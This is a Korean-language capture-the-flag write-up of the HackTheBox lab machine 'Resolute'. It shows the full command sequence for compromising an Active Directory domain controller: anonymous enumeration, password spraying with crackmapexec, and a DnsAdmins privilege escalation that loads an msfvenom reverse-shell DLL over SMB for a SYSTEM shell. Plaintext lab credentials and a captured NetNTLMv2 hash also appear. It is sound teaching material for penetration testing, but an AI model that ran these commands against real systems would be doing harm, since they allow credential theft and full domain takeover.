HTB Resolute
이번에도 Windows 관련 머신을 계속해서 진행하면서 모자란 지식을 채워간다. 이번에 마주친 머신은 LDAP에서 익명 열거를 시작해서, description 필드에 존재하는 신규 계정 패스워드를 통해 확인된 계정을 무차별대입하여 기본 패스워드를 사용중인 계정을 열거하고 해당 계정을 통해 내부 시스템에 존재하는 히스토리 파일에서 다른 계정을 찾아 해당 계정의 AD 그룹 권한을 악용하여 DNS 서비스가 실행될때 악성 dll을 로드하는 트릭을 이용하여 시스템을 장악할 수 있었던 머신이였다.
Windows 관련 머신들을 접할 수록 다양한 그룹과 권한에 대해서 익혀나가고 있는것같다.
Recon
Port Scan
HTB 머신 스폰 이후 국룰 포트스캔을 진행 시 Windows 머신에서 주로 보이는 서비스들이 식별되는것을 확인할 수 있으며, 도메인은 megabank.local
로 확인된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-12 11:04 KST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for 10.129.116.241
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-12 02:12:02Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
49710/tcp open msrpc Microsoft Windows RPC
49738/tcp closed unknown
49791/tcp closed unknown
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-09-12T02:13:00
|_ start_date: 2023-09-12T02:03:19
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
|_clock-skew: mean: 2h27m00s, deviation: 4h02m31s, median: 6m59s
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Resolute
| NetBIOS computer name: RESOLUTE\x00
| Domain name: megabank.local
| Forest name: megabank.local
| FQDN: Resolute.megabank.local
|_ System time: 2023-09-11T19:13:01-07:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.07 seconds
DNS
DNS에서는 항상 크게 건지는건 없는것같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿kali)-[~/Desktop]
└─# dig any megabank.local @10.129.116.241
; <<>> DiG 9.18.1-1-Debian <<>> any megabank.local @10.129.116.241
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43435
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;megabank.local. IN ANY
;; ANSWER SECTION:
megabank.local. 600 IN A 10.10.10.169
megabank.local. 3600 IN NS resolute.megabank.local.
megabank.local. 3600 IN SOA resolute.megabank.local. hostmaster.megabank.local. 155 900 600 86400 3600
megabank.local. 600 IN AAAA dead:beef::b803:885a:b665:b183
;; ADDITIONAL SECTION:
resolute.megabank.local. 3600 IN A 10.129.116.241
;; Query time: 211 msec
;; SERVER: 10.129.116.241#53(10.129.116.241) (TCP)
;; WHEN: Tue Sep 12 00:23:05 EDT 2023
;; MSG SIZE rcvd: 173
┌──(root㉿kali)-[~/Desktop]
└─# dig axfr megabank.local @10.129.116.241
; <<>> DiG 9.18.1-1-Debian <<>> axfr megabank.local @10.129.116.241
;; global options: +cmd
; Transfer failed.
SMB
다음으로 SMB에 익명 열거를 시도했지만 SMB 서비스에서는 익명 열거가 불가능했다.
1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~]
└─# smbclient -N -L //10.129.116.241
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.116.241 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
LDAP
ldapsearch
를 이용해서 NamingContexts
를 확인한다.
이후 익명 열거가 가능한것을 확인했지만 ldapsearch 명령으로 보는것이 불편해서 rpcclient로 넘어갔다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~]
└─# ldapsearch -H ldap://10.129.116.241 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingContexts: DC=megabank,DC=local
namingContexts: CN=Configuration,DC=megabank,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=megabank,DC=local
namingContexts: DC=DomainDnsZones,DC=megabank,DC=local
namingContexts: DC=ForestDnsZones,DC=megabank,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
RCP
위에서도 말했듯이 ldap에서 익명 열거가 가능했기에 rcpclient
로 유저 목록을 출력해보았으며, 익명 열거가 가능해서 확인된 계정들을 users.txt
파일에 기록해두었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(root㉿kali)-[~]
└─# rpcclient -U "" -N 10.129.116.241
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]
다음 명령을 통해 전체적인 정보를 확인했고 아래에서 보이는 것과 같이 일부 계정에 Account created. Password set to 패스워드
라는 설명이 남겨져있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rpcclient $> querydispinfo
...
...
...
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to 패스워드
...
...
...
Foothold
password spray
실제로 LDAP 계정 설명에 해당 계정의 비밀번호를 적어두는 케이스를 몇번 마주친적 있었다. Recon 단계에서 SMB는 익명 열거가 불가능했지만 위에서 marko
계정의 패스워드가 유효한지 SMB 연결을 통해 확인했지만 패스워드가 일치하지 않는것같다.
1
2
3
4
┌──(root㉿kali)-[~]
└─# smbclient -L //10.129.116.241 -U 'marko'
Password for [WORKGROUP\marko]:
session setup failed: NT_STATUS_LOGON_FAILURE
혹시 모르기에 WinRM 연결도 찔러봤지만 어림도없었다.
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# evil-winrm -i '10.129.116.241' -u 'marko' -p '비밀번호'
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
위에서는 가렸지만 패스워드는 환영 문구로, 신규 계정의 디폴트 패스워드가 위와 같이 사용될 수 있다는 가정하에 rpcclient에서 확인되고 기록했던 유저 목록(users.txt)와 확인된 패스워드를 무차별대입해본다. 그중 melanie
계정으로 SMB 인증이 성공한것을 볼 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(root㉿kali)-[~/Desktop/resolute]
└─# crackmapexec smb 10.129.116.241 -u users.txt -p '비밀번호' --continue-on-success
SMB 10.129.116.241 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\Administrator:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\Guest:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\krbtgt:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\DefaultAccount:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\ryan:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\marko:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\sunita:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\abigail:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\marcus:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\sally:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\fred:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\angela:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\felicia:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\gustavo:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\ulf:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\stevie:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\claire:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\paulo:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\steve:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\annette:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\annika:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\per:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\claude:비밀번호STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [+] megabank.local\melanie:비밀번호
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\zach:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\simon:비밀번호 STATUS_LOGON_FAILURE
SMB 10.129.116.241 445 RESOLUTE [-] megabank.local\naoki:비밀번호 STATUS_LOGON_FAILURE
User
melanie
위에서 password spray
공격으로 익명 열거로 탈취한 유저 리스트와 설명에 포함된 비밀번호를 무차별 대입하여 사용 가능한 유효한 계정인 melanie 계정을 식별할 수 있었다.
해당 계정의 정보가 유효한지 확인하기 위해 evil-winrm
을 통해 터미널에 접근하니 인증이 성공되었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/Desktop/resolute]
└─# evil-winrm -i '10.129.116.241' -u 'melanie' -p 'Welcome123!'
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents> whoami
megabank\melanie
ryan
melanie 계정에서 winPEAS
를 돌려 정보를 수집했지만 내가 놓친건지 제대로 쓸만한 녀석을 볼 수 없었고, 생각을 놓고 C:\
부터 권한이 닿는곳까지 다 훑어보려던 중 C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
라는 히스토리 파일을 발견했다!
해당 파일의 내용은 아래와 같으며 특정 라인에서 net use
명령을 통해 ryan
계정을 통해 인증을 시도하는 라인을 확인할 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
...
...
...
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan 패스워드
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
...
...
...
ryan 계정에 접근하여 탐색 중 바탕화면에 note.txt
파일을 발견하였고 내용은 다음과 같이 시스템에 변경사항이 있다면 1분후에 원상복구 된다한다.
1
2
3
4
*Evil-WinRM* PS C:\Users\ryan\Desktop> type note.txt
Email to team:
- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
Privilege Esculation
DnsAdmins
가장 흥미로웠던것은 ryan 계정의 그룹 리스트이다. MS - Understand Security Groups를 보면 DNS Admins
그룹은 네트워크 DNS 정보에 접근할 수 있고 아래 권한들이 기본적으로 존재한다고한다.
Members of DNSAdmins group have access to network DNS information. The default permissions are as follows: Allow:
Read, Write, Create All Child objects, Delete Child objects, Special Permissions
Port Scan에서도 확인했지만 내부에 DNS 서비스가 존재하는것은 이미 알고있는 사실이다. ryan 계정의 DNS Admins 그룹의 권한을 통해 DNS 서비스에 무엇인가를 진행해야해서 확인해보니 GTFOBins의 Windows 버전으로 보이는 LOLBAS알 수 있게됐다!
또, DNS와 관련된 컨트롤을 dnscmd.exe
로 커멘드로 진행할 수 있는것도 알게되었다.
권한 상승을 위해 DNS 서비스에 dll을 삽입하는 트릭을 이용한다.(AWS EC2 UserData에 악성 쉘 스크립트를 삽입하는것이랑 비슷한것같다…ㅎ)
dnscmd.exe
dnscmd.exe를 통해 서비스가 시작 시 로드되는 dll을 등록하려한다. 가장 먼저 필요한것은 악성 dll이다.
Rev Shell DLL
msfvenom
을 통해 리버스 커넥션을 맺는 dll을 생성한다.
1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~/Desktop/resolute]
└─# msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.28 LPORT=9000 -f dll -o shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes
Saved as: shell.dll
Delivery SMB
dll 파일을 직접 옮겨서 절대 경로로 사용하려했으나 잘안된다. 구글링해서 해당 트릭을 사용하는 사람들을 보니 다양한 방식으로 전달하던데 이번 해결과정에서는 SMB를 이용할것이고 impacket-smbserver
모듈을 사용하여 SMB 서비스를 올린다.
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/resolute]
└─# impacket-smbserver -smb2support juicemon ./
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Execute
dnscmd.exe의 /config 옵션 중 /serverlevelplugindll
에 공격자 SMB에 존재하는 악성 DLL 경로를 등록한다.
1
2
3
4
*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd.exe /config /serverlevelplugindll \\10.10.14.28\juicemon\shell.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
이후 DNS 서비스를 내렸다가 다시 올린다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 3000
FLAGS
위에서 DNS 서비스를 내렸다 다시 올리면서 플러그인으로 등록한 dll을 공격자 SMB에서 다운로드해가는 과정에 인증 시도가 포착된다.
1
2
3
4
[*] Incoming connection (10.129.116.241,55305)
[*] AUTHENTICATE_MESSAGE (MEGABANK\RESOLUTE$,RESOLUTE)
[*] User RESOLUTE\RESOLUTE$ authenticated successfully
[*] RESOLUTE$::MEGABANK:aaaaaaaaaaaaaaaa:dd85c9cd23dedcdbb4dc8638f41add01:0101000000000000800e364d46e5d9012c0f0543dcc40c800000000001001000770070007800490068005a005700590003001000770070007800490068005a00570059000200100051005800620049006700690068006600040010005100580062004900670069006800660007000800800e364d46e5d901060004000200000008003000300000000000000000000000004000006f34984b2e44f13c18de6e0113bbdeab38335de47f942f9ba6854d4a5175bd5d0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00320038000000000000000000
이후 serverlevelplugindll에 등록한 dll이 실행되면서 리버스 쉘이 연결된다!
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# nc -lvnp 9000
listening on [any] 9000 ...
sc.exe start connect to [10.10.14.28] from (UNKNOWN) [10.129.116.241] 55306
Microsoft Windows [Version 10.0.143
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system